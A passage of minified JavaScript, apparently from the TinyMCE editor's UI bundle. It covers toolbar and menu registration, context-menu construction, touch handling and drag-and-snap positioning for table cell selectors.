'Cut', icon: 'cut' }, { name: 'copy', text: 'Copy', action: 'Copy', icon: 'copy' }, { name: 'paste', text: 'Paste', action: 'Paste', icon: 'paste' }, { name: 'help', text: 'Help', action: 'mceHelp', icon: 'help' }, { name: 'selectall', text: 'Select all', action: 'SelectAll', icon: 'select-all' }, { name: 'newdocument', text: 'New document', action: 'mceNewDocument', icon: 'new-document' }, { name: 'removeformat', text: 'Clear formatting', action: 'RemoveFormat', icon: 'remove-formatting' }, { name: 'remove', text: 'Remove', action: 'Delete', icon: 'remove' } ], function (btn) { editor.ui.registry.addButton(btn.name, { tooltip: btn.text, icon: btn.icon, onAction: onActionExecCommand(editor, btn.action) }); }); }; var registerCommandToggleButtons = function (editor) { global$5.each([{ name: 'blockquote', text: 'Blockquote', action: 'mceBlockQuote', icon: 'quote' }], function (btn) { editor.ui.registry.addToggleButton(btn.name, { tooltip: btn.text, icon: btn.icon, onAction: onActionExecCommand(editor, btn.action), onSetup: onSetupFormatToggle(editor, btn.name) }); }); }; var registerButtons$1 = function (editor) { registerFormatButtons(editor); registerCommandButtons(editor); registerCommandToggleButtons(editor); }; var registerMenuItems$2 = function (editor) { global$5.each([ { name: 'bold', text: 'Bold', action: 'Bold', icon: 'bold', shortcut: 'Meta+B' }, { name: 'italic', text: 'Italic', action: 'Italic', icon: 'italic', shortcut: 'Meta+I' }, { name: 'underline', text: 'Underline', action: 'Underline', icon: 'underline', shortcut: 'Meta+U' }, { name: 'strikethrough', text: 'Strikethrough', action: 'Strikethrough', icon: 'strike-through', shortcut: '' }, { name: 'subscript', text: 'Subscript', action: 'Subscript', icon: 'subscript', shortcut: '' }, { name: 'superscript', text: 'Superscript', action: 'Superscript', icon: 'superscript', shortcut: '' }, { name: 'removeformat', text: 'Clear formatting', action: 'RemoveFormat', icon: 'remove-formatting', shortcut: '' }, { name: 'newdocument', text: 'New document', action: 'mceNewDocument', icon: 'new-document', shortcut: '' }, { name: 'cut', text: 'Cut', action: 'Cut', icon: 'cut', shortcut: 'Meta+X' }, { name: 'copy', text: 'Copy', action: 'Copy', icon: 'copy', shortcut: 'Meta+C' }, { name: 'paste', text: 'Paste', action: 'Paste', icon: 'paste', shortcut: 'Meta+V' }, { name: 'selectall', text: 'Select all', action: 'SelectAll', icon: 'select-all', shortcut: 'Meta+A' } ], function (btn) { editor.ui.registry.addMenuItem(btn.name, { text: btn.text, icon: btn.icon, shortcut: btn.shortcut, onAction: onActionExecCommand(editor, btn.action) }); }); editor.ui.registry.addMenuItem('codeformat', { text: 'Code', icon: 'sourcecode', onAction: onActionToggleFormat(editor, 'code') }); }; var register$2 = function (editor) { registerButtons$1(editor); registerMenuItems$2(editor); }; var onSetupUndoRedoState = function (editor, type) { return onSetupEvent(editor, 'Undo Redo AddUndo TypingUndo ClearUndos SwitchMode', function (api) { api.setDisabled(editor.mode.isReadOnly() || !editor.undoManager[type]()); }); }; var registerMenuItems$1 = function (editor) { editor.ui.registry.addMenuItem('undo', { text: 'Undo', icon: 'undo', shortcut: 'Meta+Z', onSetup: onSetupUndoRedoState(editor, 'hasUndo'), onAction: onActionExecCommand(editor, 'undo') }); editor.ui.registry.addMenuItem('redo', { text: 'Redo', icon: 'redo', shortcut: 'Meta+Y', onSetup: onSetupUndoRedoState(editor, 'hasRedo'), onAction: onActionExecCommand(editor, 'redo') }); }; var registerButtons = function (editor) { editor.ui.registry.addButton('undo', { tooltip: 'Undo', icon: 'undo', disabled: true, onSetup: onSetupUndoRedoState(editor, 'hasUndo'), onAction: onActionExecCommand(editor, 'undo') }); editor.ui.registry.addButton('redo', { tooltip: 'Redo', icon: 'redo', disabled: true, onSetup: onSetupUndoRedoState(editor, 'hasRedo'), onAction: onActionExecCommand(editor, 'redo') }); }; var register$1 = function (editor) { registerMenuItems$1(editor); registerButtons(editor); }; var onSetupVisualAidState = function (editor) { return onSetupEvent(editor, 'VisualAid', function (api) { api.setActive(editor.hasVisual); }); }; var registerMenuItems = function (editor) { editor.ui.registry.addToggleMenuItem('visualaid', { text: 'Visual aids', onSetup: onSetupVisualAidState(editor), onAction: onActionExecCommand(editor, 'mceToggleVisualAid') }); }; var registerToolbarButton = function (editor) { editor.ui.registry.addButton('visualaid', { tooltip: 'Visual aids', text: 'Visual aids', onAction: onActionExecCommand(editor, 'mceToggleVisualAid') }); }; var register = function (editor) { registerToolbarButton(editor); registerMenuItems(editor); }; var setup$6 = function (editor, backstage) { register$6(editor); register$2(editor); register$4(editor, backstage); register$1(editor); register$a(editor); register(editor); register$3(editor); register$5(editor); }; var nu = function (x, y) { return { type: 'makeshift', x: x, y: y }; }; var transpose = function (pos, dx, dy) { return nu(pos.x + dx, pos.y + dy); }; var isTouchEvent = function (e) { return e.type === 'longpress' || e.type.indexOf('touch') === 0; }; var fromPageXY = function (e) { if (isTouchEvent(e)) { var touch = e.touches[0]; return nu(touch.pageX, touch.pageY); } else { return nu(e.pageX, e.pageY); } }; var fromClientXY = function (e) { if (isTouchEvent(e)) { var touch = e.touches[0]; return nu(touch.clientX, touch.clientY); } else { return nu(e.clientX, e.clientY); } }; var transposeContentAreaContainer = function (element, pos) { var containerPos = global$b.DOM.getPos(element); return transpose(pos, containerPos.x, containerPos.y); }; var getPointAnchor = function (editor, e) { if (e.type === 'contextmenu' || e.type === 'longpress') { if (editor.inline) { return fromPageXY(e); } else { return transposeContentAreaContainer(editor.getContentAreaContainer(), fromClientXY(e)); } } else { return getSelectionAnchor(editor); } }; var getSelectionAnchor = function (editor) { return { type: 'selection', root: SugarElement.fromDom(editor.selection.getNode()) }; }; var getNodeAnchor = function (editor) { return { type: 'node', node: Optional.some(SugarElement.fromDom(editor.selection.getNode())), root: SugarElement.fromDom(editor.getBody()) }; }; var getAnchorSpec$1 = function (editor, e, anchorType) { switch (anchorType) { case 'node': return getNodeAnchor(editor); case 'point': return getPointAnchor(editor, e); case 'selection': return getSelectionAnchor(editor); } }; var initAndShow$1 = function (editor, e, buildMenu, backstage, contextmenu, anchorType) { var items = buildMenu(); var anchorSpec = getAnchorSpec$1(editor, e, anchorType); build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, false).map(function (menuData) { e.preventDefault(); InlineView.showMenuAt(contextmenu, { anchor: anchorSpec }, { menu: { markers: markers('normal') }, data: menuData }); }); }; var layouts = { onLtr: function () { return [ south$2, southeast$2, southwest$2, northeast$2, northwest$2, north$2, north, south, northeast, southeast, northwest, southwest ]; }, onRtl: function () { return [ south$2, southwest$2, southeast$2, northwest$2, northeast$2, north$2, north, south, northwest, southwest, northeast, southeast ]; } }; var bubbleSize = 12; var bubbleAlignments = { valignCentre: [], alignCentre: [], alignLeft: ['tox-pop--align-left'], alignRight: ['tox-pop--align-right'], right: ['tox-pop--right'], left: ['tox-pop--left'], bottom: ['tox-pop--bottom'], top: ['tox-pop--top'] }; var isTouchWithinSelection = function (editor, e) { var selection = editor.selection; if (selection.isCollapsed() || e.touches.length < 1) { return false; } else { var touch_1 = e.touches[0]; var rng = selection.getRng(); var rngRectOpt = getFirstRect(editor.getWin(), SimSelection.domRange(rng)); return rngRectOpt.exists(function (rngRect) { return rngRect.left <= touch_1.clientX && rngRect.right >= touch_1.clientX && rngRect.top <= touch_1.clientY && rngRect.bottom >= touch_1.clientY; }); } }; var setupiOSOverrides = function (editor) { var originalSelection = editor.selection.getRng(); var selectionReset = function () { global$f.setEditorTimeout(editor, function () { editor.selection.setRng(originalSelection); }, 10); unbindEventListeners(); }; editor.once('touchend', selectionReset); var preventMousedown = function (e) { e.preventDefault(); e.stopImmediatePropagation(); }; editor.on('mousedown', preventMousedown, true); var clearSelectionReset = function () { return unbindEventListeners(); }; editor.once('longpresscancel', clearSelectionReset); var unbindEventListeners = function () { editor.off('touchend', selectionReset); editor.off('longpresscancel', clearSelectionReset); editor.off('mousedown', preventMousedown); }; }; var getAnchorSpec = function (editor, e, anchorType) { var anchorSpec = getAnchorSpec$1(editor, e, anchorType); var bubbleYOffset = anchorType === 'point' ? bubbleSize : 0; return __assign({ bubble: nu$5(0, bubbleYOffset, bubbleAlignments), layouts: layouts, overrides: { maxWidthFunction: expandable(), maxHeightFunction: expandable$1() } }, anchorSpec); }; var show = function (editor, e, items, backstage, contextmenu, anchorType, highlightImmediately) { var anchorSpec = getAnchorSpec(editor, e, anchorType); build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, true).map(function (menuData) { e.preventDefault(); InlineView.showMenuWithinBounds(contextmenu, { anchor: anchorSpec }, { menu: { markers: markers('normal'), highlightImmediately: highlightImmediately }, data: menuData, type: 'horizontal' }, function () { return Optional.some(getContextToolbarBounds(editor, backstage.shared, anchorType === 'node' ? 'node' : 'selection')); }); editor.fire(hideContextToolbarEvent); }); }; var initAndShow = function (editor, e, buildMenu, backstage, contextmenu, anchorType) { var detection = detect$1(); var isiOS = detection.os.isiOS(); var isOSX = detection.os.isOSX(); var isAndroid = detection.os.isAndroid(); var isTouch = detection.deviceType.isTouch(); var shouldHighlightImmediately = function () { return !(isAndroid || isiOS || isOSX && isTouch); }; var open = function () { var items = buildMenu(); show(editor, e, items, backstage, contextmenu, anchorType, shouldHighlightImmediately()); }; if ((isOSX || isiOS) && anchorType !== 'node') { var openiOS_1 = function () { setupiOSOverrides(editor); open(); }; if (isTouchWithinSelection(editor, e)) { openiOS_1(); } else { editor.once('selectionchange', openiOS_1); editor.once('touchend', function () { return editor.off('selectionchange', openiOS_1); }); } } else { open(); } }; var patchPipeConfig = function (config) { return typeof config === 'string' ? config.split(/[ ,]/) : config; }; var shouldNeverUseNative = function (editor) { return editor.getParam('contextmenu_never_use_native', false, 'boolean'); }; var getMenuItems = function (editor, name, defaultItems) { var contextMenus = editor.ui.registry.getAll().contextMenus; return Optional.from(editor.getParam(name)).map(patchPipeConfig).getOrThunk(function () { return filter$2(patchPipeConfig(defaultItems), function (item) { return has$2(contextMenus, item); }); }); }; var isContextMenuDisabled = function (editor) { return editor.getParam('contextmenu') === false; }; var getContextMenu = function (editor) { return getMenuItems(editor, 'contextmenu', 'link linkchecker image imagetools table spellchecker configurepermanentpen'); }; var getAvoidOverlapSelector = function (editor) { return editor.getParam('contextmenu_avoid_overlap', '', 'string'); }; var isSeparator = function (item) { return isString(item) ? item === '|' : item.type === 'separator'; }; var separator = { type: 'separator' }; var makeContextItem = function (item) { var commonMenuItem = function (item) { return { text: item.text, icon: item.icon, disabled: item.disabled, shortcut: item.shortcut }; }; if (isString(item)) { return item; } else { switch (item.type) { case 'separator': return separator; case 'submenu': return __assign(__assign({ type: 'nestedmenuitem' }, commonMenuItem(item)), { getSubmenuItems: function () { var items = item.getSubmenuItems(); if (isString(items)) { return items; } else { return map$2(items, makeContextItem); } } }); default: return __assign(__assign({ type: 'menuitem' }, commonMenuItem(item)), { onAction: noarg(item.onAction) }); } } }; var addContextMenuGroup = function (xs, groupItems) { if (groupItems.length === 0) { return xs; } var lastMenuItem = last$2(xs).filter(function (item) { return !isSeparator(item); }); var before = lastMenuItem.fold(function () { return []; }, function (_) { return [separator]; }); return xs.concat(before).concat(groupItems).concat([separator]); }; var generateContextMenu = function (contextMenus, menuConfig, selectedElement) { var sections = foldl(menuConfig, function (acc, name) { return get$e(contextMenus, name.toLowerCase()).map(function (menu) { var items = menu.update(selectedElement); if (isString(items)) { return addContextMenuGroup(acc, items.split(' ')); } else if (items.length > 0) { var allItems = map$2(items, makeContextItem); return addContextMenuGroup(acc, allItems); } else { return acc; } }).getOrThunk(function () { return acc.concat([name]); }); }, []); if (sections.length > 0 && isSeparator(sections[sections.length - 1])) { sections.pop(); } return sections; }; var isNativeOverrideKeyEvent = function (editor, e) { return e.ctrlKey && !shouldNeverUseNative(editor); }; var isTriggeredByKeyboard = function (editor, e) { return e.type !== 'longpress' && (e.button !== 2 || e.target === editor.getBody() && e.pointerType === ''); }; var getSelectedElement = function (editor, e) { return isTriggeredByKeyboard(editor, e) ? editor.selection.getStart(true) : e.target; }; var getAnchorType = function (editor, e) { var selector = getAvoidOverlapSelector(editor); var anchorType = isTriggeredByKeyboard(editor, e) ? 'selection' : 'point'; if (isNotEmpty(selector)) { var target = getSelectedElement(editor, e); var selectorExists = closest(SugarElement.fromDom(target), selector); return selectorExists ? 'node' : anchorType; } else { return anchorType; } }; var setup$5 = function (editor, lazySink, backstage) { var detection = detect$1(); var isTouch = detection.deviceType.isTouch; var contextmenu = build$1(InlineView.sketch({ dom: { tag: 'div' }, lazySink: lazySink, onEscape: function () { return editor.focus(); }, onShow: function () { return backstage.setContextMenuState(true); }, onHide: function () { return backstage.setContextMenuState(false); }, fireDismissalEventInstead: {}, inlineBehaviours: derive$1([config('dismissContextMenu', [run$1(dismissRequested(), function (comp, _se) { Sandboxing.close(comp); editor.focus(); })])]) })); var hideContextMenu = function (_e) { return InlineView.hide(contextmenu); }; var showContextMenu = function (e) { if (shouldNeverUseNative(editor)) { e.preventDefault(); } if (isNativeOverrideKeyEvent(editor, e) || isContextMenuDisabled(editor)) { return; } var anchorType = getAnchorType(editor, e); var buildMenu = function () { var selectedElement = getSelectedElement(editor, e); var registry = editor.ui.registry.getAll(); var menuConfig = getContextMenu(editor); return generateContextMenu(registry.contextMenus, menuConfig, selectedElement); }; var initAndShow$2 = isTouch() ? initAndShow : initAndShow$1; initAndShow$2(editor, e, buildMenu, backstage, contextmenu, anchorType); }; editor.on('init', function () { var hideEvents = 'ResizeEditor ScrollContent ScrollWindow longpresscancel' + (isTouch() ? '' : ' ResizeWindow'); editor.on(hideEvents, hideContextMenu); editor.on('longpress contextmenu', showContextMenu); }); }; var adt = Adt.generate([ { offset: [ 'x', 'y' ] }, { absolute: [ 'x', 'y' ] }, { fixed: [ 'x', 'y' ] } ]); var subtract = function (change) { return function (point) { return point.translate(-change.left, -change.top); }; }; var add = function (change) { return function (point) { return point.translate(change.left, change.top); }; }; var transform = function (changes) { return function (x, y) { return foldl(changes, function (rest, f) { return f(rest); }, SugarPosition(x, y)); }; }; var asFixed = function (coord, scroll, origin) { return coord.fold(transform([ add(origin), subtract(scroll) ]), transform([subtract(scroll)]), transform([])); }; var asAbsolute = function (coord, scroll, origin) { return coord.fold(transform([add(origin)]), transform([]), transform([add(scroll)])); }; var asOffset = function (coord, scroll, origin) { return coord.fold(transform([]), transform([subtract(origin)]), transform([ add(scroll), subtract(origin) ])); }; var withinRange = function (coord1, coord2, xRange, yRange, scroll, origin) { var a1 = asAbsolute(coord1, scroll, origin); var a2 = asAbsolute(coord2, scroll, origin); return Math.abs(a1.left - a2.left) <= xRange && Math.abs(a1.top - a2.top) <= yRange; }; var getDeltas = function (coord1, coord2, xRange, yRange, scroll, origin) { var a1 = asAbsolute(coord1, scroll, origin); var a2 = asAbsolute(coord2, scroll, origin); var left = Math.abs(a1.left - a2.left); var top = Math.abs(a1.top - a2.top); return SugarPosition(left, top); }; var toStyles = function (coord, scroll, origin) { var stylesOpt = coord.fold(function (x, y) { return { position: Optional.some('absolute'), left: Optional.some(x + 'px'), top: Optional.some(y + 'px') }; }, function (x, y) { return { position: Optional.some('absolute'), left: Optional.some(x - origin.left + 'px'), top: Optional.some(y - origin.top + 'px') }; }, function (x, y) { return { position: Optional.some('fixed'), left: Optional.some(x + 'px'), top: Optional.some(y + 'px') }; }); return __assign({ right: Optional.none(), bottom: Optional.none() }, stylesOpt); }; var translate = function (coord, deltaX, deltaY) { return coord.fold(function (x, y) { return offset(x + deltaX, y + deltaY); }, function (x, y) { return absolute(x + deltaX, y + deltaY); }, function (x, y) { return fixed(x + deltaX, y + deltaY); }); }; var absorb = function (partialCoord, originalCoord, scroll, origin) { var absorbOne = function (stencil, nu) { return function (optX, optY) { var original = stencil(originalCoord, scroll, origin); return nu(optX.getOr(original.left), optY.getOr(original.top)); }; }; return partialCoord.fold(absorbOne(asOffset, offset), absorbOne(asAbsolute, absolute), absorbOne(asFixed, fixed)); }; var offset = adt.offset; var absolute = adt.absolute; var fixed = adt.fixed; var parseAttrToInt = function (element, name) { var value = get$d(element, name); return isUndefined(value) ? NaN : parseInt(value, 10); }; var get = function (component, snapsInfo) { var element = component.element; var x = parseAttrToInt(element, snapsInfo.leftAttr); var y = parseAttrToInt(element, snapsInfo.topAttr); return isNaN(x) || isNaN(y) ? Optional.none() : Optional.some(SugarPosition(x, y)); }; var set = function (component, snapsInfo, pt) { var element = component.element; set$8(element, snapsInfo.leftAttr, pt.left + 'px'); set$8(element, snapsInfo.topAttr, pt.top + 'px'); }; var clear = function (component, snapsInfo) { var element = component.element; remove$7(element, snapsInfo.leftAttr); remove$7(element, snapsInfo.topAttr); }; var getCoords = function (component, snapInfo, coord, delta) { return get(component, snapInfo).fold(function () { return coord; }, function (fixed$1) { return fixed(fixed$1.left + delta.left, fixed$1.top + delta.top); }); }; var moveOrSnap = function (component, snapInfo, coord, delta, scroll, origin) { var newCoord = getCoords(component, snapInfo, coord, delta); var snap = snapInfo.mustSnap ? findClosestSnap(component, snapInfo, newCoord, scroll, origin) : findSnap(component, snapInfo, newCoord, scroll, origin); var fixedCoord = asFixed(newCoord, scroll, origin); set(component, snapInfo, fixedCoord); return snap.fold(function () { return { coord: fixed(fixedCoord.left, fixedCoord.top), extra: Optional.none() }; }, function (spanned) { return { coord: spanned.output, extra: spanned.extra }; }); }; var stopDrag = function (component, snapInfo) { clear(component, snapInfo); }; var findMatchingSnap = function (snaps, newCoord, scroll, origin) { return findMap(snaps, function (snap) { var sensor = snap.sensor; var inRange = withinRange(newCoord, sensor, snap.range.left, snap.range.top, scroll, origin); return inRange ? Optional.some({ output: absorb(snap.output, newCoord, scroll, origin), extra: snap.extra }) : Optional.none(); }); }; var findClosestSnap = function (component, snapInfo, newCoord, scroll, origin) { var snaps = snapInfo.getSnapPoints(component); var matchSnap = findMatchingSnap(snaps, newCoord, scroll, origin); return matchSnap.orThunk(function () { var bestSnap = foldl(snaps, function (acc, snap) { var sensor = snap.sensor; var deltas = getDeltas(newCoord, sensor, snap.range.left, snap.range.top, scroll, origin); return acc.deltas.fold(function () { return { deltas: Optional.some(deltas), snap: Optional.some(snap) }; }, function (bestDeltas) { var currAvg = (deltas.left + deltas.top) / 2; var bestAvg = (bestDeltas.left + bestDeltas.top) / 2; if (currAvg <= bestAvg) { return { deltas: Optional.some(deltas), snap: Optional.some(snap) }; } else { return acc; } }); }, { deltas: Optional.none(), snap: Optional.none() }); return bestSnap.snap.map(function (snap) { return { output: absorb(snap.output, newCoord, scroll, origin), extra: snap.extra }; }); }); }; var findSnap = function (component, snapInfo, newCoord, scroll, origin) { var snaps = snapInfo.getSnapPoints(component); return findMatchingSnap(snaps, newCoord, scroll, origin); }; var snapTo$1 = function (snap, scroll, origin) { return { coord: absorb(snap.output, snap.output, scroll, origin), extra: snap.extra }; }; var snapTo = function (component, dragConfig, _state, snap) { var target = dragConfig.getTarget(component.element); if (dragConfig.repositionTarget) { var doc = owner$4(component.element); var scroll_1 = get$9(doc); var origin_1 = getOrigin(target); var snapPin = snapTo$1(snap, scroll_1, origin_1); var styles = toStyles(snapPin.coord, scroll_1, origin_1); setOptions(target, styles); } }; var DraggingApis = /*#__PURE__*/Object.freeze({ __proto__: null, snapTo: snapTo }); var initialAttribute = 'data-initial-z-index'; var resetZIndex = function (blocker) { parent(blocker.element).filter(isElement$2).each(function (root) { getOpt(root, initialAttribute).fold(function () { return remove$6(root, 'z-index'); }, function (zIndex) { return set$7(root, 'z-index', zIndex); }); remove$7(root, initialAttribute); }); }; var changeZIndex = function (blocker) { parent(blocker.element).filter(isElement$2).each(function (root) { getRaw(root, 'z-index').each(function (zindex) { set$8(root, initialAttribute, zindex); }); set$7(root, 'z-index', get$c(blocker.element, 'z-index')); }); }; var instigate = function (anyComponent, blocker) { anyComponent.getSystem().addToGui(blocker); changeZIndex(blocker); }; var discard = function (blocker) { resetZIndex(blocker); blocker.getSystem().removeFromGui(blocker); }; var createComponent = function (component, blockerClass, blockerEvents) { return component.getSystem().build(Container.sketch({ dom: { styles: { 'left': '0px', 'top': '0px', 'width': '100%', 'height': '100%', 'position': 'fixed', 'z-index': '1000000000000000' }, classes: [blockerClass] }, events: blockerEvents })); }; var SnapSchema = optionObjOf('snaps', [ required$1('getSnapPoints'), onHandler('onSensor'), required$1('leftAttr'), required$1('topAttr'), defaulted('lazyViewport', win), defaulted('mustSnap', false) ]); var schema$6 = [ defaulted('useFixed', never), required$1('blockerClass'), defaulted('getTarget', identity$1), defaulted('onDrag', noop), defaulted('repositionTarget', true), defaulted('onDrop', noop), defaultedFunction('getBounds', win), SnapSchema ]; var getCurrentCoord = function (target) { return lift3(getRaw(target, 'left'), getRaw(target, 'top'), getRaw(target, 'position'), function (left, top, position) { var nu = position === 'fixed' ? fixed : offset; return nu(parseInt(left, 10), parseInt(top, 10)); }).getOrThunk(function () { var location = absolute$3(target); return absolute(location.left, location.top); }); }; var clampCoords = function (component, coords, scroll, origin, startData) { var bounds = startData.bounds; var absoluteCoord = asAbsolute(coords, scroll, origin); var newX = clamp$1(absoluteCoord.left, bounds.x, bounds.x + bounds.width - startData.width); var newY = clamp$1(absoluteCoord.top, bounds.y, bounds.y + bounds.height - startData.height); var newCoords = absolute(newX, newY); return coords.fold(function () { var offset$1 = asOffset(newCoords, scroll, origin); return offset(offset$1.left, offset$1.top); }, constant$1(newCoords), function () { var fixed$1 = asFixed(newCoords, scroll, origin); return fixed(fixed$1.left, fixed$1.top); }); }; var calcNewCoord = function (component, optSnaps, currentCoord, scroll, origin, delta, startData) { var newCoord = optSnaps.fold(function () { var translated = translate(currentCoord, delta.left, delta.top); var fixedCoord = asFixed(translated, scroll, origin); return fixed(fixedCoord.left, fixedCoord.top); }, function (snapInfo) { var snapping = moveOrSnap(component, snapInfo, currentCoord, delta, scroll, origin); snapping.extra.each(function (extra) { snapInfo.onSensor(component, extra); }); return snapping.coord; }); return clampCoords(component, newCoord, scroll, origin, startData); }; var dragBy = function (component, dragConfig, startData, delta) { var target = dragConfig.getTarget(component.element); if (dragConfig.repositionTarget) { var doc = owner$4(component.element); var scroll_1 = get$9(doc); var origin_1 = getOrigin(target); var currentCoord = getCurrentCoord(target); var newCoord = calcNewCoord(component, dragConfig.snaps, currentCoord, scroll_1, origin_1, delta, startData); var styles = toStyles(newCoord, scroll_1, origin_1); setOptions(target, styles); } dragConfig.onDrag(component, target, delta); }; var calcStartData = function (dragConfig, comp) { return { bounds: dragConfig.getBounds(), height: getOuter$2(comp.element), width: getOuter$1(comp.element) }; }; var move = function (component, dragConfig, dragState, dragMode, event) { var delta = dragState.update(dragMode, event); var dragStartData = dragState.getStartData().getOrThunk(function () { return calcStartData(dragConfig, component); }); delta.each(function (dlt) { dragBy(component, dragConfig, dragStartData, dlt); }); }; var stop = function (component, blocker, dragConfig, dragState) { blocker.each(discard); dragConfig.snaps.each(function (snapInfo) { stopDrag(component, snapInfo); }); var target = dragConfig.getTarget(component.element); dragState.reset(); dragConfig.onDrop(component, target); }; var handlers = function (events) { return function (dragConfig, dragState) { var updateStartState = function (comp) { dragState.setStartData(calcStartData(dragConfig, comp)); }; return derive$2(__spreadArray([run$1(windowScroll(), function (comp) { dragState.getStartData().each(function () { return updateStartState(comp); }); })], events(dragConfig, dragState, updateStartState), true)); }; }; var init$2 = function (dragApi) { return derive$2([ run$1(mousedown(), dragApi.forceDrop), run$1(mouseup(), dragApi.drop), run$1(mousemove(), function (comp, simulatedEvent) { dragApi.move(simulatedEvent.event); }), run$1(mouseout(), dragApi.delayDrop) ]); }; var getData$1 = function (event) { return Optional.from(SugarPosition(event.x, event.y)); }; var getDelta$1 = function (old, nu) { return SugarPosition(nu.left - old.left, nu.top - old.top); }; var MouseData = /*#__PURE__*/Object.freeze({ __proto__: null, getData: getData$1, getDelta: getDelta$1 }); var events$2 = function (dragConfig, dragState, updateStartState) { return [run$1(mousedown(), function (component, simulatedEvent) { var raw = simulatedEvent.event.raw; if (raw.button !== 0) { return; } simulatedEvent.stop(); var stop$1 = function () { return stop(component, Optional.some(blocker), dragConfig, dragState); }; var delayDrop = DelayedFunction(stop$1, 200); var dragApi = { drop: stop$1, delayDrop: delayDrop.schedule, forceDrop: stop$1, move: function (event) { delayDrop.cancel(); move(component, dragConfig, dragState, MouseData, event); } }; var blocker = createComponent(component, dragConfig.blockerClass, init$2(dragApi)); var start = function () { updateStartState(component); instigate(component, blocker); }; start(); })]; }; var schema$5 = __spreadArray(__spreadArray([], schema$6, true), [output$1('dragger', { handlers: handlers(events$2) })], false); var init$1 = function (dragApi) { return derive$2([ run$1(touchstart(), dragApi.forceDrop), run$1(touchend(), dragApi.drop), run$1(touchcancel(), dragApi.drop), run$1(touchmove(), function (comp, simulatedEvent) { dragApi.move(simulatedEvent.event); }) ]); }; var getDataFrom = function (touches) { var touch = touches[0]; return Optional.some(SugarPosition(touch.clientX, touch.clientY)); }; var getData = function (event) { var raw = event.raw; var touches = raw.touches; return touches.length === 1 ? getDataFrom(touches) : Optional.none(); }; var getDelta = function (old, nu) { return SugarPosition(nu.left - old.left, nu.top - old.top); }; var TouchData = /*#__PURE__*/Object.freeze({ __proto__: null, getData: getData, getDelta: getDelta }); var events$1 = function (dragConfig, dragState, updateStartState) { var blockerSingleton = value$1(); var stopBlocking = function (component) { stop(component, blockerSingleton.get(), dragConfig, dragState); blockerSingleton.clear(); }; return [ run$1(touchstart(), function (component, simulatedEvent) { simulatedEvent.stop(); var stop = function () { return stopBlocking(component); }; var dragApi = { drop: stop, delayDrop: noop, forceDrop: stop, move: function (event) { move(component, dragConfig, dragState, TouchData, event); } }; var blocker = createComponent(component, dragConfig.blockerClass, init$1(dragApi)); blockerSingleton.set(blocker); var start = function () { updateStartState(component); instigate(component, blocker); }; start(); }), run$1(touchmove(), function (component, simulatedEvent) { simulatedEvent.stop(); move(component, dragConfig, dragState, TouchData, simulatedEvent.event); }), run$1(touchend(), function (component, simulatedEvent) { simulatedEvent.stop(); stopBlocking(component); }), run$1(touchcancel(), stopBlocking) ]; }; var schema$4 = __spreadArray(__spreadArray([], schema$6, true), [output$1('dragger', { handlers: handlers(events$1) })], false); var events = function (dragConfig, dragState, updateStartState) { return __spreadArray(__spreadArray([], events$2(dragConfig, dragState, updateStartState), true), events$1(dragConfig, dragState, updateStartState), true); }; var schema$3 = __spreadArray(__spreadArray([], schema$6, true), [output$1('dragger', { handlers: handlers(events) })], false); var mouse = schema$5; var touch = schema$4; var mouseOrTouch = schema$3; var DraggingBranches = /*#__PURE__*/Object.freeze({ __proto__: null, mouse: mouse, touch: touch, mouseOrTouch: mouseOrTouch }); var init = function () { var previous = Optional.none(); var startData = Optional.none(); var reset = function () { previous = Optional.none(); startData = Optional.none(); }; var calculateDelta = function (mode, nu) { var result = previous.map(function (old) { return mode.getDelta(old, nu); }); previous = Optional.some(nu); return result; }; var update = function (mode, dragEvent) { return mode.getData(dragEvent).bind(function (nuData) { return calculateDelta(mode, nuData); }); }; var setStartData = function (data) { startData = Optional.some(data); }; var getStartData = function () { return startData; }; var readState = constant$1({}); return nu$8({ readState: readState, reset: reset, update: update, getStartData: getStartData, setStartData: setStartData }); }; var DragState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init }); var Dragging = createModes({ branchKey: 'mode', branches: DraggingBranches, name: 'dragging', active: { events: function (dragConfig, dragState) { var dragger = dragConfig.dragger; return dragger.handlers(dragConfig, dragState); } }, extra: { snap: function (sConfig) { return { sensor: sConfig.sensor, range: sConfig.range, output: sConfig.output, extra: Optional.from(sConfig.extra) }; } }, state: DragState, apis: DraggingApis }); var snapWidth = 40; var snapOffset = snapWidth / 2; var calcSnap = function (selectorOpt, td, x, y, width, height) { return selectorOpt.fold(function () { return Dragging.snap({ sensor: absolute(x - snapOffset, y - snapOffset), range: SugarPosition(width, height), output: absolute(Optional.some(x), Optional.some(y)), extra: { td: td } }); }, function (selectorHandle) { var sensorLeft = x - snapOffset; var sensorTop = y - snapOffset; var sensorWidth = snapWidth; var sensorHeight = snapWidth; var rect = selectorHandle.element.dom.getBoundingClientRect(); return Dragging.snap({ sensor: absolute(sensorLeft, sensorTop), range: SugarPosition(sensorWidth, sensorHeight), output: absolute(Optional.some(x - rect.width / 2), Optional.some(y - rect.height / 2)), extra: { td: td } }); }); }; var getSnapsConfig = function (getSnapPoints, cell, onChange) { var isSameCell = function (cellOpt, td) { return cellOpt.exists(function (currentTd) { return eq(currentTd, td); }); }; return { getSnapPoints: getSnapPoints, leftAttr: 'data-drag-left', topAttr: 'data-drag-top', onSensor: function (component, extra) { var td = extra.td; if (!isSameCell(cell.get(), td)) { cell.set(td); onChange(td); } }, mustSnap: true }; }; var createSelector = function (snaps) { return record(Button.sketch({ dom: { tag: 'div', classes: ['tox-selector'] }, buttonBehaviours: derive$1([ Dragging.config({ mode: 'mouseOrTouch', blockerClass: 'blocker', snaps: snaps }), Unselecting.config({}) ]), eventOrder: { mousedown: [ 'dragging', 'alloy.base.behaviour' ], touchstart: [ 'dragging', 'alloy.base.behaviour' ] } })); }; var setup$4 = function (editor, sink) { var tlTds = Cell([]); var brTds = Cell([]); var isVisible = Cell(false); var startCell = value$1(); var finishCell = value$1(); var getTopLeftSnap = function (td) { var box = absolute$2(td); return calcSnap(memTopLeft.getOpt(sink), td, box.x, box.y, box.width, box.height); }; var getTopLeftSnaps = function () { return map$2(tlTds.get(), function (td) { return getTopLeftSnap(td); }); }; var getBottomRightSnap = function (td) { var box = absolute$2(td); return calcSnap(memBottomRight.getOpt(sink), td, box.right, box.bottom, box.width, box.height); }; var getBottomRightSnaps = function () { return map$2(brTds.get(), function (td) { return getBottomRightSnap(td); }); }; var topLeftSnaps = getSnapsConfig(getTopLeftSnaps, startCell, function (start) { finishCell.get().each(function (finish) { editor.fire('TableSelectorChange', { start: start, finish: finish }); }); }); var 